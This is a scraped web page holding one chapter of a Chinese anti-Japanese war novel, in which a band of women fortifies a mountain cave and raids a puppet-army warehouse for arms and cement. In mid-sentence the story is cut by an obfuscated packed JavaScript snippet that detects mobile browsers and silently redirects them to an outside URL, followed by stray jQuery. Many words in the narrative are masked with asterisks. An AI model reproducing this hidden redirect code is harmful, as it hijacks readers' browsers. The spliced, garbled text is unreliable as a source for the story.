第12章 凿山石姐妹齐出力 筑工事昼夜不停歇
作品:《女子重机枪决死队》 诗曰:
千锤凿壁筑坚城,巾帼齐心杀气横。
炉火熔锋寒敌胆,弓弦鸣镝破边声。
粮仓渐满兵戈利,壁垒新成草木兵。
待得东风吹号角,长刀直指斩东瀛。
且流这长白山的春风刚吹散野猪岭的残雪,女儿寨的溶洞外就热闹起来。络绎不绝的女子沿着那条窄窄的山沟走来,她们有的背着包袱,有的扛着工具,有的还带着一身未愈的伤,眼里却都燃着同一种光——那是逃离虎口后的求生欲,更是对复仇的渴望。
最先来的是李三妹,铁匠铺的女儿,一手抡锤的力气比男人还大。她爹因不肯给鬼子打**,被活活烧死在铺子里,她攥着一把淬过火的凿子,一路杀了两个拦路的伪军,找到女儿寨时,凿子上的血还没干透。“我会打铁,能修枪,还能凿石头!”她把凿子往地上一戳,火星溅起,“只要能杀鬼子,让**啥都行!”
紧接着来的是猎户女儿赵玉兰,跟溪月一样,从小在山里长大,箭术精准,还会布设陷阱。她所在的村子被鬼子“扫荡”时,她藏在树洞里,眼睁睁看着爹娘被刺刀挑死,手里那把爹给她做的牛角弓,弦都被她捏断了。“我能守哨卡,能探路,还能给姐妹们打野味!”她往地上一蹲,稳稳地扎了个马步,“只要有口饭吃,我就跟鬼子拼到底!”
泥水匠的女儿刘春花来得最晚,却带着最实在的东西——一马车石灰和瓦刀。她娘被伪军抢走后,她硬是推着车在林子里绕了三天,凭着爹教的看风水辨方向的本事,摸到了野猪岭。“我爹说,筑墙要打牢地基,守寨要靠实心肠。”她抹了把脸上的灰,露出一口白牙,“我能垒石头,能和泥,保证把这溶洞修成铁打的!”
还有读过书的周玉涵,穿着洗得发白的旗袍,却背着一杆**,是从鬼子的宪兵队里逃出来的。她丈夫是地下党,被叛徒出卖后遭了毒手,她带着丈夫留下的地图和密码本,一路辗转找到这里。“我能记账,能教姐妹们认字,还能破译鬼子的电报。”她推了推鼻梁上的眼镜,眼神却异常坚定,“笔墨纸砚能**,枪杆子也能。”
不到一个月,女儿寨的队伍就扩充到了两百多人。燕飞羽站在溶洞大厅里,看着黑压压的人群,心里既振奋又沉甸甸的——人多了,力量大了,可吃饭、住宿、防御,哪一样都得操心。
“从今天起,咱们分工干活!”燕飞羽站在高处,声音清亮,“李三妹带铁匠组,负责修武器、打工具;赵玉兰带侦察组,熟悉周边地形,布设外围陷阱;刘春花带工程组,凿山扩洞,修筑工事;周玉涵带后勤组,管粮食、记账目,教姐妹们认字;我和溪月、二妹、若溪,负责训练和警戒!”
“好!”两百多人齐声应和,声音震得洞顶的钟乳石都在颤。
工程最是浩大。刘春花带着工程组的姐妹,拿着李三妹打的钢钎和锤子,开始凿山扩洞。她们要把入口的大厅再拓宽三丈,好容下所有人训练;要把两侧的石室打通,连成一片,方便转移;还要在洞口筑一道石门,危急时能封死入口。
钢钎砸在岩石上,溅起火星,震得人虎口发麻。姐妹们轮流上阵,锤子轮得呼呼响,手上磨出了血泡,就用布一包继续干;肩膀被钢钎压红了,就换个姿势接着凿。刘春花带头跳进齐腰深的石渣堆里,指挥大家把碎石搬到洞外,旗袍的下摆磨破了,她干脆剪了个豁口,露出结实的小腿,泥水里趟来趟去,活像个糙汉子。
李三妹的铁匠组也没闲着。她们在溶洞深处搭了个简易的铁匠炉,用缴获的汽油桶当风箱,烧着木炭,叮叮当当地打制工具。钢钎不够了,就把鬼子的刺刀熔了重打;锤子磨秃了,就往柄上裹铁皮。三妹的手被火星烫出了好几个燎泡,她用凉水一冲,照样抡锤,“当”的一声,火星溅在她脸上,她眼睛都不眨一下。
赵玉兰带着侦察组在周边勘察,把每一道山沟、每一块巨石都记在心里。她们在通往野猪岭的唯一山沟里,挖了三道陷阱,上面铺着树枝和浮土,别说人,就是野猪踩上去也得掉下去;在半山腰的树丛里,搭了十几个隐蔽的哨位,每个哨位都能看到山沟入口,还藏着**和**。
周玉涵的后勤组也忙得脚不沾地。她把缴获的粮食按人头分配,每天定量发放,还带着姐妹们把野菜和野果晒成干,储存起来;她在溶洞的石壁上刷了层石灰,当成黑板,教姐妹们认字,从“人”“枪”“杀”开始,到“团结”“胜利”“中国”,每天傍晚,溶洞里都回荡着朗朗的读书声。
燕飞羽和溪月则带着姐妹们训练。大厅里,两百多人分成几队,有的练刺杀,**撞得地面咚咚响;有的练射击,趴在地上,**抵着肩膀,一动不动;有的练格斗,拳脚相加,喊声震耳。溪月教大家轻功,在石壁间搭了绳索,让姐妹们踩着绳子来回走,刚开始摔得鼻青脸肿,后来渐渐能像模像样地在上面跑了。
可光靠凿石头不行,她们需要水泥,需要钢筋,需要更多的武器来守住这个家。燕飞羽看着刘春花画的图纸,眉头紧锁:“石门要能防住炮弹,就得用水泥浇筑;半山腰的**阵地,也得用钢筋加固。”
“我知道城里的伪军仓库里有这些东西。”周玉涵推了推眼镜,拿出一张地图,“上个月我逃出来时,看到他们往仓库里运了好几车水泥和钢筋,还有不少新武器。”
“去抢!”张二妹把**往地上一顿,“正好让这帮二鬼子尝尝咱们的厉害!”
燕飞羽沉吟片刻,点了点头:“就今晚动手。溪月,你带两个人摸进仓库,摸清情况;二妹,你带**组守住仓库后门,接应我们;若溪,你准备好**,要是有麻烦就炸了仓库;春花,你带几个人准备马车,负责运东西;我玉涵姐带主力,从正门突进去。”
深夜的县城像头沉睡的野兽,只有伪军仓库外还亮着几盏昏黄的灯。溪月带着两个姐妹,像壁虎似的爬上仓库的围墙,趴在墙头一看,里面有十几个伪军在巡逻,仓库的大门锁得死死的,墙角还架着一挺**。
她打了个凌厉的手势,示意下面的人绷紧神经待命。骤然间,仓库外**炸响,震得窗棂嗡嗡发抖——是燕飞羽带着人在正门猛攻,**的爆鸣声混着呐喊声,瞬间搅乱了夜的死寂!伪军们顿时炸了锅,慌慌张张往正门涌去,连墙角架着的重**,也仓促掉转了枪口。
“就是现在!”溪月低喝一声,身形如狸猫般腾空跃起,翻身掠进仓库院墙。寒光一闪,**划破夜色,两个后门哨兵连哼都没哼一声,便捂着脖子软倒在地。她冲到仓库大门前,掏出李三妹特制的钥匙猛地一拧,“咔哒”脆响过后,沉重的铁门被她硬生生拽开一道缝。
门后景象,让溪月双目骤亮!五挺重**在木箱里排列得整整齐齐,油光锃亮的枪身泛着冷冽的杀气;十挺轻**裹着油布,码成了小山;旁边的**堆积如山,粗略一数竟有百八十支;更让人热血沸腾的是,十门迫击炮昂着炮管,在昏暗中闪着慑人的寒光;最里头,三车水泥袋垒得严严实实,几捆钢筋沉甸甸地压着地面。
“快装!一秒都别耽搁!”燕飞羽带着人旋风般冲进来,吼声未落,姐妹们已经扑了上去。有人扛着重**就往外跑,枪身硌得肩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960629|193283||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膀生疼也浑然不觉;有人抱着**往马车上摞,手臂抡得飞快;刘春花扯着嗓子指挥,马车轱辘碾过地面,发出沉闷的声响,水泥袋和钢筋被狠狠甩上车,堆得像座小丘。
就在这时,仓库后门突然传来震耳欲聋的**扫射声,夹杂着伪军凄厉的惨叫——是张二妹的**组,和闻讯反扑的伪军撞上了!**像雨点般打在门板上,木屑飞溅。“撤!快撤!”燕飞羽厉声嘶吼,一脚踹开侧门,指挥着众人往外突围。
溪月反手扛起一挺重**,枪身沉甸甸的,她却面不改色。刚冲出侧门,七八名伪军就端着枪迎面扑来,黑洞洞的枪口直指众人!溪月眼神一凛,猛地将**往地上一架,手指扣动**——“哒哒哒!”火舌疯狂吞吐,密集的**瞬间撕开了伪军的阵线,血花溅起,惨叫连连,几名伪军当场倒在血泊里。
“这边!跟我走!”赵玉兰如鬼魅般从暗影里窜出,手里的**还滴着血,“这条小巷能绕开鬼子巡逻队,快!”
姐妹们立刻跟上,扛着武器,推着马车,一头扎进狭窄的小巷。伪军的**在身后穷追不舍,**嗖嗖地擦着头顶飞过,打在斑驳的墙壁上,碎石子迸溅,砸得人脸颊生疼。刘春花咬着牙,死死攥着马车缰绳,车轮在凹凸不平的石板路上疯狂颠簸,车轴摩擦得发烫,几乎要冒出火星,她却硬生生稳住了方向,在错综复杂的巷子里左拐右绕,愣是没让一车物资翻倒。
等她们冲出县城,回到野猪岭时,天已经蒙蒙亮了。看着堆在溶洞大厅里的武器和物资,姐妹们都累得瘫在地上,却笑得合不拢嘴。五挺重**架在那里,像五个黑铁塔;十门迫击炮并排摆着,威风凛凛;三车水泥袋透着沉甸甸的分量,是筑工事的底气。
有了这些东西,工程进度大大加快。刘春花带着姐妹们,用水泥和石头,在洞口筑起了一道两尺厚的石门,门轴是李三妹用铁轨打的,推起来稳稳当当;在半山腰,她们用钢筋和水泥,浇筑了三个**阵地,每个阵地都能架两挺重**,居高临下地对着山沟入口,形成交叉火力;溶洞里的石室也打通了,铺上了木板,隔成了整齐的营房,还挖了排水沟,再也不用担心积水。
六个月后,当第一片雪花落在野猪岭时,女儿寨彻底变了模样。洞口的石门紧闭,上面爬满了藤蔓,不细看根本发现不了;半山腰的**阵地藏在树丛里,黑洞洞的枪口对准来路;溶洞里,营房、仓库、训练场、铁匠铺、厨房应有尽有,甚至还有周玉涵办的“识字班”,石壁上的黑板写满了字,旁边还贴着姐妹们画的抗日漫画。
燕飞羽站在溶洞的最高处,望着外面飘起的雪花,身边是溪月、张二妹、王若溪、刘春花、李三妹、赵玉兰、周玉涵……两百多个姐妹的身影在大厅里忙碌,训练的喊声、打铁的叮当声、读书的朗朗声交织在一起,像一首蓬勃的生命之歌。
“这堡垒,算是成了。”燕飞羽轻声说,眼里闪着光。
溪月握紧了手里的重**,枪身冰冷,却让她觉得无比安心。她知道,这不仅仅是个藏身的洞,更是她们的阵地,她们的家,是大兴安岭里一座打不垮、炸不掉的女儿城。
从今往后,她们就在这里扎根,在这里战斗,让那些闯进山林的豺狼知道,这里有一群不好惹的女子,有一座攻不破的堡垒,更有一颗永不屈服的心。风雪再大,也挡不住她们复仇的火焰;敌人再凶,也撼不动她们守护家园的决心。
这正是:
识字练兵洞中成阵藏龙虎
劫粮夺械夜半挥戈震敌营
欲知后事如何,且看下集分解。

